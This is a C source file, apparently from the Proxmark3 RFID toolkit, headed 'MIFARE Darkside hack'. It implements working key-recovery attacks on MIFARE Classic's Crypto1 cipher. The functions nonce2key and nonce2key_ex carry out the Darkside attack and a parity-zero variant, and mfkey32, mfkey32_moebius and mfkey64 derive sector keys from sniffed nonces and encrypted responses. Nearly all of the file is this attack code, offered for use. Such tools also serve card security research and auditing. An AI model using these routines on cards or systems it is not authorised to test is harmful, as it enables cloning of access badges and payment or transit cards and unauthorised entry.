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1 //-----------------------------------------------------------------------------
2 // Merlok - June 2011
3 // Roel - Dec 2009
4 // Unknown author
5 //
6 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
7 // at your option, any later version. See the LICENSE.txt file for the text of
8 // the license.
9 //-----------------------------------------------------------------------------
10 // MIFARE Darkside hack
11 //-----------------------------------------------------------------------------
12 #include "nonce2key.h"
13
14 int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
15 struct Crypto1State *state;
16 uint32_t i, pos, rr = 0, nr_diff;
17 byte_t bt, ks3x[8], par[8][8];
18
19 // Reset the last three significant bits of the reader nonce
20 nr &= 0xffffff1f;
21
22 PrintAndLog("uid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08x)", uid, nt, par_info, ks_info, nr);
23
24 for ( pos = 0; pos < 8; pos++ ) {
25 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
26 bt = (par_info >> (pos*8)) & 0xff;
27
28 for ( i = 0; i < 8; i++) {
29 par[7-pos][i] = (bt >> i) & 0x01;
30 }
31 }
32
33 PrintAndLog("+----+--------+---+-----+---------------+");
34 PrintAndLog("|diff|{nr} |ks3|ks3^5|parity |");
35 PrintAndLog("+----+--------+---+-----+---------------+");
36 for ( i = 0; i < 8; i++) {
37 nr_diff = nr | i << 5;
38
39 PrintAndLog("| %02x |%08x| %01x | %01x |%01x,%01x,%01x,%01x,%01x,%01x,%01x,%01x|",
40 i << 5, nr_diff, ks3x[i], ks3x[i]^5,
41 par[i][0], par[i][1], par[i][2], par[i][3],
42 par[i][4], par[i][5], par[i][6], par[i][7]);
43
44 }
45 PrintAndLog("+----+--------+---+-----+---------------+");
46
47 clock_t t1 = clock();
48
49 state = lfsr_common_prefix(nr, rr, ks3x, par);
50 lfsr_rollback_word(state, uid ^ nt, 0);
51 crypto1_get_lfsr(state, key);
52 crypto1_destroy(state);
53
54 t1 = clock() - t1;
55 if ( t1 > 0 ) PrintAndLog("Time in nonce2key: %.0f ticks", (float)t1);
56 return 0;
57 }
58
59 int compar_intA(const void * a, const void * b) {
60 if (*(int64_t*)b == *(int64_t*)a) return 0;
61 if (*(int64_t*)b > *(int64_t*)a) return 1;
62 return -1;
63 }
64
65 // call when PAR == 0, special attack? It seems to need two calls. with same uid, block, keytype
66 int nonce2key_ex(uint8_t blockno, uint8_t keytype, uint32_t uid, uint32_t nt, uint32_t nr, uint64_t ks_info, uint64_t * key) {
67
68 struct Crypto1State *state;
69 uint32_t i, pos, key_count;
70 uint8_t ks3x[8];
71 uint64_t key_recovered;
72 int64_t *state_s;
73 static uint8_t last_blockno;
74 static uint8_t last_keytype;
75 static uint32_t last_uid;
76 static int64_t *last_keylist;
77
78 if (last_uid != uid &&
79 last_blockno != blockno &&
80 last_keytype != keytype &&
81 last_keylist != NULL)
82 {
83 free(last_keylist);
84 last_keylist = NULL;
85 }
86 last_uid = uid;
87 last_blockno = blockno;
88 last_keytype = keytype;
89
90 // Reset the last three significant bits of the reader nonce
91 nr &= 0xffffff1f;
92
93 // split keystream into array
94 for (pos=0; pos<8; pos++) {
95 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
96 }
97
98 // find possible states for this keystream
99 state = lfsr_common_prefix_ex(nr, ks3x);
100
101 if (!state) {
102 PrintAndLog("Failed getting states");
103 return 1;
104 }
105
106 state_s = (int64_t*)state;
107
108 uint32_t xored = uid ^ nt;
109
110 for (i = 0; (state) && ((state + i)->odd != -1); i++) {
111 lfsr_rollback_word(state + i, xored, 0);
112 crypto1_get_lfsr(state + i, &key_recovered);
113 *(state_s + i) = key_recovered;
114 }
115
116 qsort(state_s, i, sizeof(int64_t), compar_intA);
117 *(state_s + i) = -1;
118
119 // first call to this function. clear all other stuff and set new found states.
120 if (last_keylist == NULL) {
121 free(last_keylist);
122 last_keylist = state_s;
123 PrintAndLog("parity is all zero, testing special attack. First call, this attack needs at least two calls. Hold on...");
124 PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)", uid, nt, ks_info, nr);
125 return 1;
126 }
127
128 PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)", uid, nt, ks_info, nr);
129
130 //Create the intersection:
131 int64_t *p1, *p2, *p3;
132 p1 = p3 = last_keylist;
133 p2 = state_s;
134
135 while ( *p1 != -1 && *p2 != -1 ) {
136 if (compar_intA(p1, p2) == 0) {
137 PrintAndLog("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx,(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
138 *p3++ = *p1++;
139 p2++;
140 }
141 else {
142 while (compar_intA(p1, p2) == -1) ++p1;
143 while (compar_intA(p1, p2) == 1) ++p2;
144 }
145 }
146 key_count = p3 - last_keylist;
147 PrintAndLog("key_count: %d", key_count);
148 if ( key_count == 0 ){
149 free(state);
150 state = NULL;
151 return 0;
152 }
153
154 uint8_t retval = 1;
155 // Validate all key candidates with testing each of them with mfCheckKeys
156 uint8_t keyBlock[6] = {0,0,0,0,0,0};
157 uint64_t key64;
158 for (i = 0; i < key_count; i++) {
159 key64 = *(last_keylist + i);
160 num_to_bytes(key64, 6, keyBlock);
161 key64 = 0;
162 if (!mfCheckKeys(blockno, keytype, false, 1, keyBlock, &key64)) {
163 *key = key64;
164 retval = 0;
165 goto out;
166 }
167 }
168
169 out:
170 free(last_keylist);
171 last_keylist = NULL;
172 free(state);
173 state = NULL;
174 return retval;
175 }
176
177 // 32 bit recover key from 2 nonces
178 bool tryMfk32(nonces_t data, uint64_t *outputkey, bool verbose) {
179 struct Crypto1State *s,*t;
180 uint64_t outkey = 0;
181 uint64_t key=0; // recovered key
182 uint32_t uid = data.cuid;
183 uint32_t nt = data.nonce; // first tag challenge (nonce)
184 uint32_t nr0_enc = data.nr; // first encrypted reader challenge
185 uint32_t ar0_enc = data.ar; // first encrypted reader response
186 uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
187 uint32_t ar1_enc = data.ar2; // second encrypted reader response
188 bool isSuccess = FALSE;
189 uint8_t counter = 0;
190
191 clock_t t1 = clock();
192 uint32_t p64 = prng_successor(nt, 64);
193
194 if ( verbose ) {
195 PrintAndLog("Recovering key for:");
196 PrintAndLog(" uid: %08x",uid);
197 PrintAndLog(" nt: %08x",nt);
198 PrintAndLog(" {nr_0}: %08x",nr0_enc);
199 PrintAndLog(" {ar_0}: %08x",ar0_enc);
200 PrintAndLog(" {nr_1}: %08x",nr1_enc);
201 PrintAndLog(" {ar_1}: %08x",ar1_enc);
202 PrintAndLog("\nLFSR succesors of the tag challenge:");
203 PrintAndLog(" nt': %08x", p64);
204 PrintAndLog(" nt'': %08x", prng_successor(p64, 32));
205 }
206
207 s = lfsr_recovery32(ar0_enc ^ p64, 0);
208
209 for(t = s; t->odd | t->even; ++t) {
210 lfsr_rollback_word(t, 0, 0);
211 lfsr_rollback_word(t, nr0_enc, 1);
212 lfsr_rollback_word(t, uid ^ nt, 0);
213 crypto1_get_lfsr(t, &key);
214 crypto1_word(t, uid ^ nt, 0);
215 crypto1_word(t, nr1_enc, 1);
216 if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) {
217 outkey = key;
218 ++counter;
219 if (counter==20) break;
220 }
221 }
222 isSuccess = (counter > 0);
223 t1 = clock() - t1;
224 if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks - possible keys %d", (float)t1, counter);
225
226 *outputkey = ( isSuccess ) ? outkey : 0;
227 crypto1_destroy(s);
228 return isSuccess;
229 }
230
231 bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey, bool verbose) {
232 struct Crypto1State *s, *t;
233 uint64_t outkey = 0;
234 uint64_t key = 0; // recovered key
235 uint32_t uid = data.cuid;
236 uint32_t nt0 = data.nonce; // first tag challenge (nonce)
237 uint32_t nr0_enc = data.nr; // first encrypted reader challenge
238 uint32_t ar0_enc = data.ar; // first encrypted reader response
239 //uint32_t uid1 = le32toh(data+16);
240 uint32_t nt1 = data.nonce2; // second tag challenge (nonce)
241 uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
242 uint32_t ar1_enc = data.ar2; // second encrypted reader response
243 bool isSuccess = FALSE;
244 int counter = 0;
245
246 clock_t t1 = clock();
247
248 uint32_t p640 = prng_successor(nt0, 64);
249 uint32_t p641 = prng_successor(nt1, 64);
250
251 if (verbose) {
252 PrintAndLog("Recovering key for:");
253 PrintAndLog(" uid: %08x", uid);
254 PrintAndLog(" nt_0: %08x", nt0);
255 PrintAndLog(" {nr_0}: %08x", nr0_enc);
256 PrintAndLog(" {ar_0}: %08x", ar0_enc);
257 PrintAndLog(" nt_1: %08x", nt1);
258 PrintAndLog(" {nr_1}: %08x", nr1_enc);
259 PrintAndLog(" {ar_1}: %08x", ar1_enc);
260 PrintAndLog("\nLFSR succesors of the tag challenge:");
261 PrintAndLog(" nt': %08x", p640);
262 PrintAndLog(" nt'': %08x", prng_successor(p640, 32));
263 }
264
265 s = lfsr_recovery32(ar0_enc ^ p640, 0);
266
267 for(t = s; t->odd | t->even; ++t) {
268 lfsr_rollback_word(t, 0, 0);
269 lfsr_rollback_word(t, nr0_enc, 1);
270 lfsr_rollback_word(t, uid ^ nt0, 0);
271 crypto1_get_lfsr(t, &key);
272
273 crypto1_word(t, uid ^ nt1, 0);
274 crypto1_word(t, nr1_enc, 1);
275 if (ar1_enc == (crypto1_word(t, 0, 0) ^ p641)) {
276 outkey=key;
277 ++counter;
278 if (counter==20) break;
279 }
280 }
281 isSuccess = (counter > 0);
282 t1 = clock() - t1;
283 if (verbose) {
284 if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks - possible keys %d", (float)t1, counter);
285 }
286 *outputkey = ( isSuccess ) ? outkey : 0;
287 crypto1_destroy(s);
288 return isSuccess;
289 }
290
291 int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
292 uint32_t uid = le32toh(data);
293 uint32_t nt = le32toh(data+4); // tag challenge
294 uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge
295 uint32_t ar_enc = le32toh(data+12); // encrypted reader response
296 uint32_t at_enc = le32toh(data+16); // encrypted tag response
297 return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
298 }
299
300 int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
301 uint64_t key = 0; // recovered key
302 uint32_t ks2; // keystream used to encrypt reader response
303 uint32_t ks3; // keystream used to encrypt tag response
304 struct Crypto1State *revstate;
305
306 PrintAndLog("Enter mfkey64");
307 clock_t t1 = clock();
308
309 // Extract the keystream from the messages
310 ks2 = ar_enc ^ prng_successor(nt, 64);
311 ks3 = at_enc ^ prng_successor(nt, 96);
312 revstate = lfsr_recovery64(ks2, ks3);
313 lfsr_rollback_word(revstate, 0, 0);
314 lfsr_rollback_word(revstate, 0, 0);
315 lfsr_rollback_word(revstate, nr_enc, 1);
316 lfsr_rollback_word(revstate, uid ^ nt, 0);
317 crypto1_get_lfsr(revstate, &key);
318
319 PrintAndLog("Found Key: [%012"llx"]", key);
320 t1 = clock() - t1;
321 if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks", (float)t1);
322
323 *outputkey = key;
324 crypto1_destroy(revstate);
325 return 0;
326 }
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